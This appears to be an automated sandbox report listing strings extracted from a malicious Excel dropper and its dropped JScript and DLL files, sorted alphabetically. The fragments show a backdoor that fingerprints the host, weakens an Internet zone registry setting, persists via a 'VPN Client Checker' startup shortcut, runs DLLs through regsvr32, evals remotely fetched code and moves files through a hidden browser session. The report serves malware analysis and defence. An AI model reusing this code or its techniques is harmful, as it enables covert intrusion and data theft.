this.dirs += 'startupDir:\n'+this.startupDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dirs += 'tmpDir:\n'+this.tmpDir+'\n\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downCount = count;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downEnd = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downEnd = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downFile = filePath;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downIndex = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downOk = false;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downOk = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downSize = fileSize;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.downStart = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.dstUrl = this.decode(jmpRes[1]);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.errLogFilePath = oShell.ExpandEnvironmentStrings('%temp%') + '\\_ErrorLog.txt';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.freshIE(workIE);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.getConfig();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.id += ele.MACAddress + "-" + ele.IPAddress(0) + ",";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.id = this.oNet.ComputerName +'|'+ this.getOSBit() +'|'+ this.oNet.UserDomain +'\\'+ this.oNet.UserName +'|';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.initCode = this.decode(codeRes[1]);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.InitMockDll32();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.InitMockDll64();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.jmpUrl = this.jmpUrlList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.mutexFile = this.oFS.OpenTextFile(this.mutexFilePath, ForAppending, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.mutexFilePath = this.tmpDir + '\\' + this.mutexFileName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(ie, realUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(workIE, this.dstUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.navigateIE(workIE, this.jmpUrl);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oCimv2 = this.oWbemLocator.ConnectServer('.', 'root\\cimv2');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oFS = new ActiveXObject('Scripting.FileSystemObject');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oFS.DeleteFile(dfPath);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oIE = this.createIE();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oNet = new ActiveXObject('WScript.Network');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oSA = new ActiveXObject('Shell.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.osBit = this.getOSBit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell = new ActiveXObject('WScript.Shell');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\1601", 0, "REG_DWORD");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oShell.Run('regsvr32 /s "'+mockDllPath+'"', 0, realTimeOut>0);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.oWbemLocator = new ActiveXObject('WbemScripting.SWbemLocator');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.pKill(pid);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.pKillTree(e.item().ProcessId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.retryInterval = 1000*3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.setWorkFlag(this.workFlagNo);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.setWorkFlag(this.workFlagYes);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.startupDir = this.oShell.SpecialFolders('Startup');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.tmpDir = this.oShell.ExpandEnvironmentStrings('%temp%');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.tryAuth();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upCount = argArr[3];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upCount=0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upEnd = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upEnd = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upFile = argArr[0];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upIndex = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOk = false;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOk = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOk=true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upOnce = argArr[2];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upSize = argArr[1];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.upStart = this.now();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
this.waitIE(ie);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
TipShown
Unicode based on Runtime Data (EXCEL.EXE )
tmpDir : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
tranInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Translation
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
tryAuth:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{eval(clsCode);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
try{eval(this.initCode);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{fileSize = this.oFS.GetFile(filePath).Size;}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{fTest=this.oFS.CreateTextFile(this.upFile, true);fTest.Close();}catch(e){accessToWrite=false;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{if(oIE)oIE.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{main();}catch(err){errLog(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{putRes = WScript.PutBlockToFile(this.upFile, this.upOnce, this.upIndex, upData);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(mockDllPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(mockIniPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(scriptFilePath);this.oFS.DeleteFile(outFilePath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(scriptFilePath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oFS.DeleteFile(WScript.ScriptFullName);}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{this.oIE.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{with(orz){eval(data);}}catch(err){ret=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
try{WScript.Quit();}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
TYPELIB
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
uId : 'username',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
un_filtarn
Ansi based on Image Processing (screen_4.png)
uName : 'username',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
UNCAsIntranet
Unicode based on Runtime Data (EXCEL.EXE )
UnhandledExceptionFilter
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
up.innerText = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upCount : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upData = argArr[1];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upData = up.innerText;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upEnd : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upFile : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upIdx.innerText = '-1';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upIdx.innerText = this.upIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upIndex : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upInterval : 5,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upOk : true,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upOnce : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upPath = argArr[0];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upSize : 0,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
upStart : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
USER32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
user32.dll
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
USERENV.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
username.name = this.uName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
username.value = this.id;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c & 63) | 128);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c >> 12) | 224);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode((c >> 6) | 192);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
utftext += String.fromCharCode(c);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
valicode : 'omega',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
valicode.name = this.vName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
valicode.value = this.valicode;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var ado = new ActiveXObject('ADODB.Stream');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var adSaveCreateOverwrite = 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var adTypeBinary = 1;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var AppData = oWS.ExpandEnvironmentStrings("%APPDATA%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var base64DecodeChars = new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var bytesPerGB = 1024 * 1024 * 1024;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var c = c1 = c2 = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var c = string.charCodeAt(n);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var c1, c2, c3, c4;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var chr1, chr2, chr3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var colProcess = new Enumerator(this.oCimv2.ExecQuery("select ProcessId from Win32_Process where ProcessId=" + processId.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var down = workIE.Document.getElementById("down");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var downBtn = workIE.Document.getElementById("downBtn");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var drv = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery("SELECT * FROM Win32_QuickFixEngineering"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ParentProcessId='+pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ProcessId=' + pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process where ProcessId='+pid.toString()));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oCimv2.ExecQuery('select * from Win32_Process'));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var e = new Enumerator(this.oFS.Drives);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var ele = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var enc1, enc2, enc3, enc4;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var freeGB = drv.FreeSpace / bytesPerGB;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var i = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var i, len, out;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var i;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var idleThisTime = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var idleTimes = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var ie = null;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var inParams = method.InParameters.SpawnInstance_();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var JSPath = tempDir+'\\'+randName+'.tmp';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var link = oWS.CreateShortcut(stDirs[i] + '\\VPN Client Checker.lnk');
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var link = this.oShell.CreateShortcut(path);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var loginForm = workIE.Document.getElementById(this.loginFormId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var method = process.Methods_.Item('Create');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var minute = myDate.getMinutes();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var myDate = new Date();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var node = xml.createElement("binary");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var objQuickFix = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var oDrives = this.oNet.EnumNetworkDrives();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var oFile = oFS.CreateTextFile(JSPath, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var oPrinters = this.oNet.EnumPrinterConnections();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var orz=
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var outFilePath = scriptFilePath+'.dat';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var outParams = process.ExecMethod_(method.Name, inParams);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var output = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var password = workIE.Document.getElementById(this.pId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var pe = new Enumerator(proc.Properties_);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var process = this.oCimv2.Get('Win32_Process');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var rcv = workIE.Document.getElementById("rcv");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var recvData = rcv.innerText;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var REFRESH_COMPLETELY = 3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var res = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var s = "---Local drive\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var scriptFilePath = this.tmpDir + '\\~.'+this.randStr(16);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var seconds = myDate.getSeconds();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var snd = workIE.Document.getElementById("snd");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var startInfo = this.oCimv2.Get("Win32_ProcessStartup").SpawnInstance_();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var stDirs = [SysDrive + ':\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup',
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var string = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var submit = workIE.Document.getElementById(this.sId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var SysDrive = AppData.charAt(0);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var tempDir = oWS.ExpandEnvironmentStrings("%temp%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var tmp = this.decode(recvData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var totalGB = drv.TotalSize / bytesPerGB;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var up = workIE.Document.getElementById("up");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var upIdx = workIE.Document.getElementById("upIdx");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var UserName = oWS.ExpandEnvironmentStrings("%USERNAME%");
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
var username = workIE.Document.getElementById(this.uId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var utftext = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var valicode = workIE.Document.getElementById(this.vId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var workFlag = this.oIE.Document.getElementById(this.workFlagId);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
var xml = new ActiveXObject('Microsoft.XMLDOM');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
VBAFiles
Unicode based on Runtime Data (EXCEL.EXE )
version="1.0" encoding="UTF-8" standalone="yes"?>... Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="5.1.0.0" processorArchitecture="x86" name="Microsoft.Windows.RegSvr32" type="win32"/><description>Microsoft Register Server</description><dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" publicKeyToken="6595b64144ccf1df" processorArchitecture="x86" language="*" /> </dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security></trustInfo></assembly>
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
vId : 'valicode',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
vName : 'valicode',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
vr32 /s "%s" DR __CIM__
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
VS_VERSION_INFO
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
WaitForSingleObject
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
waitIE:function(ie){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
waitTime = realSec*10;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
wcscat_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
wcscpy_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
wcsncpy_s
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
while ( i < utftext.length ) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
while (i < input.length) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
while (i < len)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
while(ie.ReadyState!=4 || ie.Busy || !ie.Document){WScript.Sleep(10);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WideCharToMultiByte
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
with(orz){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workFlag.innerText = flag;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workFlagId : 'workFlag',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workFlagNo : 'N',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workFlagYes : 'Y',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
workIE = this.oIE;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Wow64EnableWow64FsRedirection
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
WriteFile
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WScript
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
WScript.CheckUpAndDown();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Quit();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(100);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(1000);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
WScript.Sleep(3000);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(500);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScript.Sleep(retryInterval);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WScriptW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WshFinished = 1;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
WshRunning = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
wsprintfW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WTSAPI32.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WTSGetActiveConsoleSessionId
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
WTSQueryUserToken
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
zg__gn
Ansi based on Image Processing (screen_4.png)
zillin
Ansi based on Image Processing (screen_1.png)
Zwi_chinablagi
Ansi based on Image Processing (screen_4.png)
} else if (isNaN(chr3)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else if((c > 127) && (c < 2048)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else if((c > 191) && (c < 224)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} else {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
} while ( i < len && c1 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c2 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c3 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
} while ( i < len && c4 == - 1 );
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch (b){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch (g){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}catch(e){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(e){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){res+=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){res=this.errObjToStr(err);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){WScript.Sleep(1000);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){WScript.Sleep(500);}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}catch(x){}
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
}else if(argArr.length==4){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else if(this.osBit=='64'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else if(typeof(err)=='string'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else{
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}else{return 'unknown osBit';}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}while(bForeverTry || retryTime--);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
}while(waitTime--);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
!This program cannot be run in DOS mode.$
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
%s\%s.tmp
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
',:__::',:_::',:_
Ansi based on Image Processing (screen_4.png)
+ '\ndownSize=' + fileSize + '\nDownReq Recved!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
+ '\nupOnce=' + this.upOnce + '\nupCount=' +this.upCount + '\nUpReq Recved!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
,...,
Ansi based on Image Processing (screen_4.png)
.?AUIActiveScriptSite@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIActiveScriptSiteWindow@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIDispatch@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideClassInfo2@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideClassInfo@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIProvideMultipleClassInfo@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIUnknown@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AUIWScript@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVMyActiveScriptSite@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVtype_info@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
.?AVWScript@@
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
._-._._.
Ansi based on Image Processing (screen_1.png)
._...__.0.t..
Ansi based on Image Processing (screen_2.png)
._...__._.t..
Ansi based on Image Processing (screen_4.png)
.___.
Ansi based on Image Processing (screen_1.png)
/************* Basic *************/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/******************** Func ********************/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/*NOSleep*/
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
/n must be used with the /i switch
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
6.1.7600.16385
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
600.16385 (win7_rtm.090713-1255)
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
??1type_info@@UAE@XZ
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
??2@YAPAXI@Z
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
??3@YAXPAX@Z
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
?terminate@@YAXXZ
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
@.data
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
@.reloc
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
[xls]9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.LNK=0
Ansi based on Runtime Data (EXCEL.EXE )
\regsvr32.exe
Unicode based on Hybrid Analysis (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_::_::_'l
Ansi based on Image Processing (screen_1.png)
______._._
Ansi based on Image Processing (screen_4.png)
__wgetmainargs
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
_keyStr : "01234abcdefghijklmnopqrstuvwxyz56789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/" + "=",
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_pTree:function(pid, level){
